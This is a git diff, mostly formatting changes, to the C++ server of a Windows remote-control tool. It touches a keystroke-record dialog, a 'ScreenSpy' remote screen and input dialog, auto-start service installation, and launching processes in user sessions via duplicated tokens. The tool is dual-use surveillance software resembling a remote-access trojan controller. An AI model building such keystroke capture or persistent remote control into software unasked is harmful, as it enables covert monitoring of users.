-10,37 +10,37 @@ ///////////////////////////////////////////////////////////////////////////// // CFileTransferModeDlg dialog -class CFileTransferModeDlg : public CDialog -{ + class CFileTransferModeDlg : public CDialog + { // Construction -public: - CString m_strFileName; - CFileTransferModeDlg(CWnd* pParent = NULL); // standard constructor + public: + CString m_strFileName; + CFileTransferModeDlg(CWnd* pParent = NULL); // standard constructor // Dialog Data - //{{AFX_DATA(CFileTransferModeDlg) - enum { IDD = IDD_TRANSFERMODE_DLG }; - // NOTE: the ClassWizard will add data members here - //}}AFX_DATA + //{{AFX_DATA(CFileTransferModeDlg) + enum { IDD = IDD_TRANSFERMODE_DLG }; + // NOTE: the ClassWizard will add data members here + //}}AFX_DATA // Overrides - // ClassWizard generated virtual function overrides - //{{AFX_VIRTUAL(CFileTransferModeDlg) -protected: - virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support - //}}AFX_VIRTUAL + // ClassWizard generated virtual function overrides + //{{AFX_VIRTUAL(CFileTransferModeDlg) + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support + //}}AFX_VIRTUAL // Implementation -protected: + protected: - // Generated message map functions - //{{AFX_MSG(CFileTransferModeDlg) - afx_msg void OnEndDialog(UINT id); - virtual BOOL OnInitDialog(); - //}}AFX_MSG - DECLARE_MESSAGE_MAP() -}; + // Generated message map functions + //{{AFX_MSG(CFileTransferModeDlg) + afx_msg void OnEndDialog(UINT id); + virtual BOOL OnInitDialog(); + //}}AFX_MSG + DECLARE_MESSAGE_MAP() + }; //{{AFX_INSERT_LOCATION}} // Microsoft Visual C++ will insert additional declarations immediately before the previous line. diff --git a/server/2015Remote/KeyBoardDlg.h b/server/2015Remote/KeyBoardDlg.h index 4605951..294098b 100644 --- a/server/2015Remote/KeyBoardDlg.h +++ b/server/2015Remote/KeyBoardDlg.h @@ -13,48 +13,48 @@ ///////////////////////////////////////////////////////////////////////////// // CKeyBoardDlg dialog -class CKeyBoardDlg : public DialogBase -{ + class CKeyBoardDlg : public DialogBase + { // Construction -public: - void OnReceiveComplete(); - CKeyBoardDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor + public: + void OnReceiveComplete(); + CKeyBoardDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor // Dialog Data - //{{AFX_DATA(CKeyBoardDlg) - enum { IDD = IDD_DLG_KEYBOARD }; - CEdit m_edit; - //}}AFX_DATA + //{{AFX_DATA(CKeyBoardDlg) + enum { IDD = IDD_DLG_KEYBOARD }; + CEdit m_edit; + //}}AFX_DATA // Overrides - // ClassWizard generated virtual function overrides - //{{AFX_VIRTUAL(CKeyBoardDlg) -public: - virtual BOOL PreTranslateMessage(MSG* pMsg); -protected: - virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support - virtual void PostNcDestroy(); - //}}AFX_VIRTUAL + // ClassWizard generated virtual function overrides + //{{AFX_VIRTUAL(CKeyBoardDlg) + public: + virtual BOOL PreTranslateMessage(MSG* pMsg); + protected: + virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support + virtual void PostNcDestroy(); + //}}AFX_VIRTUAL // Implementation -protected: - bool m_bIsOfflineRecord; + protected: + bool m_bIsOfflineRecord; - void AddKeyBoardData(); - void UpdateTitle(); - void ResizeEdit(); - bool SaveRecord(); + void AddKeyBoardData(); + void UpdateTitle(); + void ResizeEdit(); + bool SaveRecord(); - // Generated message map functions - //{{AFX_MSG(CKeyBoardDlg) - virtual BOOL OnInitDialog(); - afx_msg void OnSize(UINT nType, int cx, int cy); - afx_msg void OnClose(); - afx_msg void OnSysCommand(UINT nID, LPARAM lParam); + // Generated message map functions + //{{AFX_MSG(CKeyBoardDlg) + virtual BOOL OnInitDialog(); + afx_msg void OnSize(UINT nType, int cx, int cy); + afx_msg void OnClose(); + afx_msg void OnSysCommand(UINT nID, LPARAM lParam); - //}}AFX_MSG - DECLARE_MESSAGE_MAP() -}; + //}}AFX_MSG + DECLARE_MESSAGE_MAP() + }; //{{AFX_INSERT_LOCATION}} // Microsoft Visual C++ will insert additional declarations immediately before the previous line. diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index 8a62f83..2c6422d 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -232,8 +232,8 @@ BOOL CScreenSpyDlg::OnInitDialog() CDialog::OnInitDialog(); SetIcon(m_hIcon,FALSE); DragAcceptFiles(TRUE); - ChangeWindowMessageFilter(WM_DROPFILES, MSGFLT_ADD); - ChangeWindowMessageFilter(0x0049, MSGFLT_ADD); + ChangeWindowMessageFilter(WM_DROPFILES, MSGFLT_ADD); + ChangeWindowMessageFilter(0x0049, MSGFLT_ADD); PrepareDrawing(m_BitmapInfor_Full); @@ -258,16 +258,16 @@ BOOL CScreenSpyDlg::OnInitDialog() SysMenu->AppendMenu(MF_STRING, IDM_SCREEN_1080P, "限制为1080P(&4)"); SysMenu->AppendMenu(MF_SEPARATOR); - CMenu fpsMenu; - if (fpsMenu.CreatePopupMenu()) { - fpsMenu.AppendMenu(MF_STRING, IDM_FPS_10, "最大帧率FPS:10"); - fpsMenu.AppendMenu(MF_STRING, IDM_FPS_15, "最大帧率FPS:15"); - fpsMenu.AppendMenu(MF_STRING, IDM_FPS_20, "最大帧率FPS:20"); - fpsMenu.AppendMenu(MF_STRING, IDM_FPS_25, "最大帧率FPS:25"); - fpsMenu.AppendMenu(MF_STRING, IDM_FPS_30, "最大帧率FPS:30"); - fpsMenu.AppendMenu(MF_STRING, IDM_FPS_UNLIMITED, "最大帧率无限制"); - SysMenu->AppendMenuA(MF_STRING | MF_POPUP, (UINT_PTR)fpsMenu.Detach(), _T("帧率设置")); - } + CMenu fpsMenu; + if (fpsMenu.CreatePopupMenu()) { + fpsMenu.AppendMenu(MF_STRING, IDM_FPS_10, "最大帧率FPS:10"); + fpsMenu.AppendMenu(MF_STRING, IDM_FPS_15, "最大帧率FPS:15"); + fpsMenu.AppendMenu(MF_STRING, IDM_FPS_20, "最大帧率FPS:20"); + fpsMenu.AppendMenu(MF_STRING, IDM_FPS_25, "最大帧率FPS:25"); + fpsMenu.AppendMenu(MF_STRING, IDM_FPS_30, "最大帧率FPS:30"); + fpsMenu.AppendMenu(MF_STRING, IDM_FPS_UNLIMITED, "最大帧率无限制"); + SysMenu->AppendMenuA(MF_STRING | MF_POPUP, (UINT_PTR)fpsMenu.Detach(), _T("帧率设置")); + } BOOL all = THIS_CFG.GetInt("settings", "MultiScreen"); SysMenu->EnableMenuItem(IDM_SWITCHSCREEN, all ? MF_ENABLED : MF_GRAYED); @@ -322,7 +322,8 @@ VOID CScreenSpyDlg::OnClose() DialogBase::OnClose(); } -afx_msg LRESULT CScreenSpyDlg::OnDisconnect(WPARAM wParam, LPARAM lParam) { +afx_msg LRESULT CScreenSpyDlg::OnDisconnect(WPARAM wParam, LPARAM lParam) +{ m_bConnected = FALSE; return S_OK; } @@ -685,18 +686,22 @@ void CScreenSpyDlg::OnSysCommand(UINT nID, LPARAM lParam) break; } - case IDM_SCREEN_1080P: { - const int strategy = 0; - BYTE cmd[16] = { CMD_SCREEN_SIZE, (BYTE)strategy }; - m_ContextObject->Send2Client(cmd, sizeof(cmd)); - break; - } + case IDM_SCREEN_1080P: { + const int strategy = 0; + BYTE cmd[16] = { CMD_SCREEN_SIZE, (BYTE)strategy }; + m_ContextObject->Send2Client(cmd, sizeof(cmd)); + break; + } - case IDM_FPS_10: case IDM_FPS_15: case IDM_FPS_20: - case IDM_FPS_25: case IDM_FPS_30: case IDM_FPS_UNLIMITED: { + case IDM_FPS_10: + case IDM_FPS_15: + case IDM_FPS_20: + case IDM_FPS_25: + case IDM_FPS_30: + case IDM_FPS_UNLIMITED: { int fps = 10 + (nID - IDM_FPS_10) * 5; - BYTE bToken[2] = { CMD_FPS, nID == IDM_FPS_UNLIMITED ? 255 : fps }; - m_ContextObject->Send2Client(bToken, sizeof(bToken)); + BYTE bToken[2] = { CMD_FPS, nID == IDM_FPS_UNLIMITED ? 255 : fps }; + m_ContextObject->Send2Client(bToken, sizeof(bToken)); break; } @@ -750,9 +755,9 @@ void CScreenSpyDlg::OnTimer(UINT_PTR nIDEvent) SetTextColor(m_hFullDC, RGB(0xff, 0x00, 0x00)); TextOut(m_hFullDC, 0, 0, lpTipsString, lstrlen(lpTipsString)); } - if (nIDEvent == 1 && m_bFullScreen && m_pToolbar) { - m_pToolbar->CheckMousePosition(); - } + if (nIDEvent == 1 && m_bFullScreen && m_pToolbar) { + m_pToolbar->CheckMousePosition(); + } CDialog::OnTimer(nIDEvent); } @@ -778,21 +783,21 @@ BOOL CScreenSpyDlg::PreTranslateMessage(MSG* pMsg) case WM_KEYUP: case WM_SYSKEYDOWN: case WM_SYSKEYUP: - if (pMsg->message == WM_KEYDOWN && m_bFullScreen) { - // Ctrl+Alt+Home 退出全屏(备用) - if (pMsg->wParam == VK_HOME && - (GetKeyState(VK_CONTROL) & 0x8000) && - (GetKeyState(VK_MENU) & 0x8000)) { - LeaveFullScreen(); - return TRUE; - } - } + if (pMsg->message == WM_KEYDOWN && m_bFullScreen) { + // Ctrl+Alt+Home 退出全屏(备用) + if (pMsg->wParam == VK_HOME && + (GetKeyState(VK_CONTROL) & 0x8000) && + (GetKeyState(VK_MENU) & 0x8000)) { + LeaveFullScreen(); + return TRUE; + } + } if (pMsg->wParam != VK_LWIN && pMsg->wParam != VK_RWIN) { SendScaledMouseMessage(pMsg, true); } - if (pMsg->message == WM_SYSKEYDOWN && pMsg->wParam == VK_F4) { - return TRUE; // 屏蔽 Alt + F4 - } + if (pMsg->message == WM_SYSKEYDOWN && pMsg->wParam == VK_F4) { + return TRUE; // 屏蔽 Alt + F4 + } if (pMsg->wParam == VK_RETURN || pMsg->wParam == VK_ESCAPE) return TRUE;// 屏蔽Enter和ESC关闭对话 break; @@ -1032,13 +1037,13 @@ void CScreenSpyDlg::EnterFullScreen() SetWindowPos(&CWnd::wndTop, rcMonitor.left, rcMonitor.top, rcMonitor.right - rcMonitor.left, rcMonitor.bottom - rcMonitor.top, SWP_NOZORDER | SWP_FRAMECHANGED); - if (!m_pToolbar) { - m_pToolbar = new CToolbarDlg(this); - m_pToolbar->Create(IDD_TOOLBAR_DLG, this); - int cx = GetSystemMetrics(SM_CXSCREEN); - int cy = GetSystemMetrics(SM_CYSCREEN); - m_pToolbar->SetWindowPos(&wndTopMost, 0, -40, cx, 40, SWP_HIDEWINDOW); - } + if (!m_pToolbar) { + m_pToolbar = new CToolbarDlg(this); + m_pToolbar->Create(IDD_TOOLBAR_DLG, this); + int cx = GetSystemMetrics(SM_CXSCREEN); + int cy = GetSystemMetrics(SM_CYSCREEN); + m_pToolbar->SetWindowPos(&wndTopMost, 0, -40, cx, 40, SWP_HIDEWINDOW); + } // 7. 标记全屏模式 m_bFullScreen = true; @@ -1052,11 +1057,11 @@ bool CScreenSpyDlg::LeaveFullScreen() { if (m_bFullScreen) { KillTimer(1); - if (m_pToolbar) { - m_pToolbar->DestroyWindow(); - delete m_pToolbar; - m_pToolbar = nullptr; - } + if (m_pToolbar) { + m_pToolbar->DestroyWindow(); + delete m_pToolbar; + m_pToolbar = nullptr; + } // 1. 恢复窗口样式 LONG lStyle = GetWindowLong(m_hWnd, GWL_STYLE); @@ -1150,24 +1155,24 @@ void CScreenSpyDlg::OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized) } } -void CScreenSpyDlg::UpdateCtrlStatus(BOOL ctrl) { - m_bIsCtrl = ctrl; - SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO)); +void CScreenSpyDlg::UpdateCtrlStatus(BOOL ctrl) +{ + m_bIsCtrl = ctrl; + SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO)); } // 将多个路径组合成单\0分隔的char数组 // 格式: "path1\0path2\0path3\0" std::vector BuildMultiStringPath(const std::vector& paths) { - std::vector result; + std::vector result; - for (const auto& path : paths) - { - result.insert(result.end(), path.begin(), path.end()); - result.push_back('\0'); - } + for (const auto& path : paths) { + result.insert(result.end(), path.begin(), path.end()); + result.push_back('\0'); + } - return result; + return result; } void CScreenSpyDlg::OnDropFiles(HDROP hDropInfo) @@ -1175,8 +1180,7 @@ void CScreenSpyDlg::OnDropFiles(HDROP hDropInfo) if (m_bIsCtrl && m_bConnected) { UINT nFiles = DragQueryFile(hDropInfo, 0xFFFFFFFF, NULL, 0); std::vector list; - for (UINT i = 0; i < nFiles; i++) - { + for (UINT i = 0; i < nFiles; i++) { TCHAR szPath[MAX_PATH]; DragQueryFile(hDropInfo, i, szPath, MAX_PATH); list.push_back(szPath); @@ -1198,7 +1202,7 @@ void CScreenSpyDlg::OnDropFiles(HDROP hDropInfo) SAFE_DELETE_ARRAY(szBuffer); } - DragFinish(hDropInfo); + DragFinish(hDropInfo); CDialogBase::OnDropFiles(hDropInfo); } diff --git a/server/2015Remote/ScreenSpyDlg.h b/server/2015Remote/ScreenSpyDlg.h index 9937cbe..01520d5 100644 --- a/server/2015Remote/ScreenSpyDlg.h +++ b/server/2015Remote/ScreenSpyDlg.h @@ -44,7 +44,7 @@ extern "C" class CScreenSpyDlg : public DialogBase { DECLARE_DYNAMIC(CScreenSpyDlg) - CToolbarDlg* m_pToolbar = nullptr; + CToolbarDlg* m_pToolbar = nullptr; CMy2015RemoteDlg* m_pParent = nullptr; public: @@ -127,9 +127,10 @@ public: afx_msg void OnSize(UINT nType, int cx, int cy); afx_msg void OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized); afx_msg LRESULT OnDisconnect(WPARAM wParam, LPARAM lParam); - afx_msg void OnExitFullscreen() { + afx_msg void OnExitFullscreen() + { LeaveFullScreen(); - } + } protected: virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 diff --git a/server/2015Remote/Server.h b/server/2015Remote/Server.h index b2f23c2..56721ce 100644 --- a/server/2015Remote/Server.h +++ b/server/2015Remote/Server.h @@ -112,8 +112,7 @@ protected: m_bShouldUnmask = TRUE; std::string clientIP = getXForwardedFor(str); if (!clientIP.empty()) peer = clientIP; - } - else { + } else { m_bShouldUnmask = FALSE; } if (nullptr == m_Masker) { diff --git a/server/2015Remote/ServerServiceWrapper.cpp b/server/2015Remote/ServerServiceWrapper.cpp index 37d2d3d..8f07b64 100644 --- a/server/2015Remote/ServerServiceWrapper.cpp +++ b/server/2015Remote/ServerServiceWrapper.cpp @@ -15,7 +15,7 @@ static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv); static void WINAPI ServiceCtrlHandler(DWORD ctrlCode); BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running, - char* exePath, size_t exePathSize) + char* exePath, size_t exePathSize) { *registered = FALSE; *running = FALSE; @@ -31,9 +31,9 @@ BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running, // 打开服务 SC_HANDLE hService = OpenServiceA( - hSCM, - SERVER_SERVICE_NAME, - SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG); + hSCM, + SERVER_SERVICE_NAME, + SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG); if (!hService) { CloseServiceHandle(hSCM); return FALSE; // 未注册 @@ -46,11 +46,11 @@ BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running, DWORD bytesNeeded = 0; memset(&ssp, 0, sizeof(ssp)); if (QueryServiceStatusEx( - hService, - SC_STATUS_PROCESS_INFO, - (LPBYTE)&ssp, - sizeof(SERVICE_STATUS_PROCESS), - &bytesNeeded)) { + hService, + SC_STATUS_PROCESS_INFO, + (LPBYTE)&ssp, + sizeof(SERVICE_STATUS_PROCESS), + &bytesNeeded)) { *running = (ssp.dwCurrentState == SERVICE_RUNNING); } @@ -190,9 +190,9 @@ static void WINAPI ServiceMain(DWORD argc, LPTSTR* argv) Mprintf("ServiceMain() called"); g_StatusHandle = RegisterServiceCtrlHandler( - SERVER_SERVICE_NAME, - ServiceCtrlHandler - ); + SERVER_SERVICE_NAME, + ServiceCtrlHandler + ); if (g_StatusHandle == NULL) { Mprintf("RegisterServiceCtrlHandler failed"); @@ -318,10 +318,10 @@ DWORD WINAPI ServerService_WorkerThread(LPVOID lpParam) BOOL ServerService_Install(void) { SC_HANDLE schSCManager = OpenSCManager( - NULL, - NULL, - SC_MANAGER_ALL_ACCESS - ); + NULL, + NULL, + SC_MANAGER_ALL_ACCESS + ); if (schSCManager == NULL) { Mprintf("ERROR: OpenSCManager failed (%d)\n", (int)GetLastError()); @@ -345,16 +345,16 @@ BOOL ServerService_Install(void) Mprintf("Executable path: %s\n", szPathWithArg); SC_HANDLE schService = CreateServiceA( - schSCManager, - SERVER_SERVICE_NAME, - SERVER_SERVICE_DISPLAY, - SERVICE_ALL_ACCESS, - SERVICE_WIN32_OWN_PROCESS, - SERVICE_AUTO_START, - SERVICE_ERROR_NORMAL, - szPathWithArg, - NULL, NULL, NULL, NULL, NULL - ); + schSCManager, + SERVER_SERVICE_NAME, + SERVER_SERVICE_DISPLAY, + SERVICE_ALL_ACCESS, + SERVICE_WIN32_OWN_PROCESS, + SERVICE_AUTO_START, + SERVICE_ERROR_NORMAL, + szPathWithArg, + NULL, NULL, NULL, NULL, NULL + ); if (schService == NULL) { DWORD err = GetLastError(); @@ -366,11 +366,9 @@ BOOL ServerService_Install(void) CloseServiceHandle(schService); } return TRUE; - } - else if (err == ERROR_ACCESS_DENIED) { + } else if (err == ERROR_ACCESS_DENIED) { Mprintf("ERROR: Access denied. Please run as Administrator\n"); - } - else { + } else { Mprintf("ERROR: CreateService failed (%d)\n", (int)err); } CloseServiceHandle(schSCManager); @@ -395,19 +393,16 @@ BOOL ServerService_Install(void) if (QueryServiceStatus(schService, &status)) { if (status.dwCurrentState == SERVICE_RUNNING) { Mprintf("SUCCESS: Service is running\n"); - } - else { + } else { Mprintf("WARNING: Service state: %d\n", (int)status.dwCurrentState); } } - } - else { + } else { err = GetLastError(); if (err == ERROR_SERVICE_ALREADY_RUNNING) { Mprintf("INFO: Service is already running\n"); err = 0; - } - else { + } else { Mprintf("WARNING: StartService failed (%d)\n", (int)err); } } @@ -420,10 +415,10 @@ BOOL ServerService_Install(void) BOOL ServerService_Uninstall(void) { SC_HANDLE schSCManager = OpenSCManager( - NULL, - NULL, - SC_MANAGER_ALL_ACCESS - ); + NULL, + NULL, + SC_MANAGER_ALL_ACCESS + ); if (schSCManager == NULL) { Mprintf("ERROR: OpenSCManager failed (%d)\n", (int)GetLastError()); @@ -431,10 +426,10 @@ BOOL ServerService_Uninstall(void) } SC_HANDLE schService = OpenServiceA( - schSCManager, - SERVER_SERVICE_NAME, - SERVICE_STOP | DELETE | SERVICE_QUERY_STATUS - ); + schSCManager, + SERVER_SERVICE_NAME, + SERVICE_STOP | DELETE | SERVICE_QUERY_STATUS + ); if (schService == NULL) { Mprintf("ERROR: OpenService failed (%d)\n", (int)GetLastError()); @@ -455,14 +450,12 @@ BOOL ServerService_Uninstall(void) Mprintf("."); Sleep(1000); waitCount++; - } - else { + } else { break; } } Mprintf("\n"); - } - else { + } else { DWORD err = GetLastError(); if (err != ERROR_SERVICE_NOT_ACTIVE) { Mprintf("WARNING: Failed to stop service (%d)\n", (int)err); @@ -475,8 +468,7 @@ BOOL ServerService_Uninstall(void) if (DeleteService(schService)) { Mprintf("SUCCESS: Service uninstalled successfully\n"); r = TRUE; - } - else { + } else { Mprintf("ERROR: DeleteService failed (%d)\n", (int)GetLastError()); } diff --git a/server/2015Remote/ServerServiceWrapper.h b/server/2015Remote/ServerServiceWrapper.h index aa755f4..d3339ac 100644 --- a/server/2015Remote/ServerServiceWrapper.h +++ b/server/2015Remote/ServerServiceWrapper.h @@ -7,7 +7,7 @@ extern "C" { #endif - // 服务配置:服务端使用不同的服务名 +// 服务配置:服务端使用不同的服务名 #define SERVER_SERVICE_NAME "YamaControlService" #define SERVER_SERVICE_DISPLAY "Yama Control Service" #define SERVER_SERVICE_DESC "Provides remote desktop control server functionality." @@ -33,29 +33,29 @@ sc query YamaControlService // exePath - 输出参数,服务可执行文件路径(可为NULL) // exePathSize - exePath缓冲区大小 // 返回: 成功返回TRUE - BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running, - char* exePath, size_t exePathSize); +BOOL ServerService_CheckStatus(BOOL* registered, BOOL* running, + char* exePath, size_t exePathSize); - // 简单启动服务 - // 返回: ERROR_SUCCESS 或错误码 - int ServerService_StartSimple(void); +// 简单启动服务 +// 返回: ERROR_SUCCESS 或错误码 +int ServerService_StartSimple(void); - // 运行服务(作为服务主入口) - // 返回: ERROR_SUCCESS 或错误码 - int ServerService_Run(void); +// 运行服务(作为服务主入口) +// 返回: ERROR_SUCCESS 或错误码 +int ServerService_Run(void); - // 停止服务 - // 返回: ERROR_SUCCESS 或错误码 - int ServerService_Stop(void); +// 停止服务 +// 返回: ERROR_SUCCESS 或错误码 +int ServerService_Stop(void); - // 安装服务 - BOOL ServerService_Install(void); +// 安装服务 +BOOL ServerService_Install(void); - // 卸载服务 - BOOL ServerService_Uninstall(void); +// 卸载服务 +BOOL ServerService_Uninstall(void); - // 服务工作线程 - DWORD WINAPI ServerService_WorkerThread(LPVOID lpParam); +// 服务工作线程 +DWORD WINAPI ServerService_WorkerThread(LPVOID lpParam); #ifdef __cplusplus } diff --git a/server/2015Remote/ServerSessionMonitor.cpp b/server/2015Remote/ServerSessionMonitor.cpp index 362c03e..9d1585c 100644 --- a/server/2015Remote/ServerSessionMonitor.cpp +++ b/server/2015Remote/ServerSessionMonitor.cpp @@ -50,7 +50,7 @@ static BOOL AgentArray_Add(ServerAgentProcessArray* arr, const ServerAgentProces if (arr->count >= arr->capacity) { size_t newCapacity = arr->capacity == 0 ? INITIAL_CAPACITY : arr->capacity * 2; ServerAgentProcessInfo* newItems = (ServerAgentProcessInfo*)realloc( - arr->items, newCapacity * sizeof(ServerAgentProcessInfo)); + arr->items, newCapacity * sizeof(ServerAgentProcessInfo)); if (!newItems) { return FALSE; } @@ -175,7 +175,7 @@ static void MonitorLoop(ServerSessionMonitor* self) DWORD dwCount = 0; if (WTSEnumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1, - &pSessionInfo, &dwCount)) { + &pSessionInfo, &dwCount)) { BOOL foundActiveSession = FALSE; @@ -187,8 +187,8 @@ static void MonitorLoop(ServerSessionMonitor* self) // 记录会话(每5次循环记录一次,避免日志过多) if (loopCount % 5 == 1) { sprintf_s(buf, sizeof(buf), "Active session found: ID=%d, Name=%s", - (int)sessionId, - pSessionInfo[i].pWinStationName); + (int)sessionId, + pSessionInfo[i].pWinStationName); Mprintf(buf); } @@ -201,8 +201,7 @@ static void MonitorLoop(ServerSessionMonitor* self) Mprintf("GUI launched successfully"); // 给程序一些时间启动 Sleep(2000); - } - else { + } else { Mprintf("Failed to launch GUI"); } } @@ -217,8 +216,7 @@ static void MonitorLoop(ServerSessionMonitor* self) } WTSFreeMemory(pSessionInfo); - } - else { + } else { if (loopCount % 5 == 1) { Mprintf("WTSEnumerateSessions failed"); } @@ -247,8 +245,7 @@ static BOOL IsGuiRunningInSession(ServerSessionMonitor* self, DWORD sessionId) char* pFileName = strrchr(currentExeName, '\\'); if (pFileName) { pFileName++; - } - else { + } else { pFileName = currentExeName; } @@ -306,7 +303,7 @@ static void TerminateAllGui(ServerSessionMonitor* self) ServerAgentProcessInfo* info = &self->agentProcesses.items[i]; sprintf_s(buf, sizeof(buf), "Terminating GUI PID=%d (Session %d)", - (int)info->processId, (int)info->sessionId); + (int)info->processId, (int)info->sessionId); Mprintf(buf); // 检查进程是否还活着 @@ -316,18 +313,16 @@ static void TerminateAllGui(ServerSessionMonitor* self) // 进程还在运行,终止它 if (!TerminateProcess(info->hProcess, 0)) { sprintf_s(buf, sizeof(buf), "WARNING: Failed to terminate PID=%d, error=%d", - (int)info->processId, (int)GetLastError()); + (int)info->processId, (int)GetLastError()); Mprintf(buf); - } - else { + } else { Mprintf("GUI terminated successfully"); // 等待进程完全退出 WaitForSingleObject(info->hProcess, 5000); } - } - else { + } else { sprintf_s(buf, sizeof(buf), "GUI PID=%d already exited with code %d", - (int)info->processId, (int)exitCode); + (int)info->processId, (int)exitCode); Mprintf(buf); } } @@ -357,18 +352,17 @@ static void CleanupDeadProcesses(ServerSessionMonitor* self) if (exitCode != STILL_ACTIVE) { // 进程已退出 sprintf_s(buf, sizeof(buf), "GUI PID=%d exited with code %d, cleaning up", - (int)info->processId, (int)exitCode); + (int)info->processId, (int)exitCode); Mprintf(buf); SAFE_CLOSE_HANDLE(info->hProcess); AgentArray_RemoveAt(&self->agentProcesses, i); continue; // 不增加 i,因为删除了元素 } - } - else { + } else { // 无法获取退出代码,可能进程已不存在 sprintf_s(buf, sizeof(buf), "Cannot query GUI PID=%d, removing from list", - (int)info->processId); + (int)info->processId); Mprintf(buf); SAFE_CLOSE_HANDLE(info->hProcess); @@ -408,7 +402,7 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId) // 复制为可用于创建进程的主令牌 HANDLE hDupToken = NULL; if (!DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, - SecurityImpersonation, TokenPrimary, &hDupToken)) { + SecurityImpersonation, TokenPrimary, &hDupToken)) { sprintf_s(buf, sizeof(buf), "DuplicateTokenEx failed: %d", (int)GetLastError()); Mprintf(buf); SAFE_CLOSE_HANDLE(hToken); @@ -473,18 +467,18 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId) // 在用户会话中创建进程(GUI程序,不隐藏窗口) BOOL result = CreateProcessAsUserA( - hDupToken, - NULL, // 应用程序名(在命令行中解析) - cmdLine, // 命令行参数:Yama.exe -agent - NULL, // 进程安全属性 - NULL, // 线程安全属性 - FALSE, // 不继承句柄 - NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT, // GUI程序不需要 CREATE_NO_WINDOW - lpEnvironment, // 环境变量 - NULL, // 当前目录 - &si, - &pi - ); + hDupToken, + NULL, // 应用程序名(在命令行中解析) + cmdLine, // 命令行参数:Yama.exe -agent + NULL, // 进程安全属性 + NULL, // 线程安全属性 + FALSE, // 不继承句柄 + NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT, // GUI程序不需要 CREATE_NO_WINDOW + lpEnvironment, // 环境变量 + NULL, // 当前目录 + &si, + &pi + ); if (lpEnvironment) { DestroyEnvironmentBlock(lpEnvironment); @@ -504,8 +498,7 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId) LeaveCriticalSection(&self->csProcessList); SAFE_CLOSE_HANDLE(pi.hThread); // 线程句柄可以关闭 - } - else { + } else { DWORD err = GetLastError(); sprintf_s(buf, sizeof(buf), "CreateProcessAsUser failed: %d", (int)err); Mprintf(buf); @@ -513,11 +506,9 @@ static BOOL LaunchGuiInSession(ServerSessionMonitor* self, DWORD sessionId) // 提供更详细的错误信息 if (err == ERROR_FILE_NOT_FOUND) { Mprintf("ERROR: Executable not found"); - } - else if (err == ERROR_ACCESS_DENIED) { + } else if (err == ERROR_ACCESS_DENIED) { Mprintf("ERROR: Access denied - service may not have sufficient privileges"); - } - else if (err == 1314) { + } else if (err == 1314) { Mprintf("ERROR: Service does not have SE_INCREASE_QUOTA privilege"); } } diff --git a/server/2015Remote/ToolbarDlg.cpp b/server/2015Remote/ToolbarDlg.cpp index 55d33d9..27aa0df 100644 --- a/server/2015Remote/ToolbarDlg.cpp +++ b/server/2015Remote/ToolbarDlg.cpp @@ -6,7 +6,7 @@ IMPLEMENT_DYNAMIC(CToolbarDlg, CDialogEx) CToolbarDlg::CToolbarDlg(CWnd* pParent) - : CDialogEx(IDD_TOOLBAR_DLG, pParent) + : CDialogEx(IDD_TOOLBAR_DLG, pParent) { } @@ -16,145 +16,145 @@ CToolbarDlg::~CToolbarDlg() void CToolbarDlg::DoDataExchange(CDataExchange* pDX) { - CDialogEx::DoDataExchange(pDX); + CDialogEx::DoDataExchange(pDX); } BEGIN_MESSAGE_MAP(CToolbarDlg, CDialogEx) - ON_BN_CLICKED(IDC_BTN_EXIT_FULLSCREEN, &CToolbarDlg::OnBnClickedExitFullscreen) - ON_BN_CLICKED(CONTROL_BTN_ID, &CToolbarDlg::OnBnClickedCtrl) - ON_BN_CLICKED(IDC_BTN_MINIMIZE, &CToolbarDlg::OnBnClickedMinimize) - ON_BN_CLICKED(IDC_BTN_CLOSE, &CToolbarDlg::OnBnClickedClose) - ON_WM_ERASEBKGND() + ON_BN_CLICKED(IDC_BTN_EXIT_FULLSCREEN, &CToolbarDlg::OnBnClickedExitFullscreen) + ON_BN_CLICKED(CONTROL_BTN_ID, &CToolbarDlg::OnBnClickedCtrl) + ON_BN_CLICKED(IDC_BTN_MINIMIZE, &CToolbarDlg::OnBnClickedMinimize) + ON_BN_CLICKED(IDC_BTN_CLOSE, &CToolbarDlg::OnBnClickedClose) + ON_WM_ERASEBKGND() END_MESSAGE_MAP() void CToolbarDlg::CheckMousePosition() { - CPoint pt; - GetCursorPos(&pt); + CPoint pt; + GetCursorPos(&pt); - int cxScreen = GetSystemMetrics(SM_CXSCREEN); + int cxScreen = GetSystemMetrics(SM_CXSCREEN); - // 计算按钮群的总宽度 (4个按钮 + 间距) - int totalWidth = 80 * 4 + 10 * 3; - int leftBound = (cxScreen - totalWidth) / 2; - int rightBound = (cxScreen + totalWidth) / 2; + // 计算按钮群的总宽度 (4个按钮 + 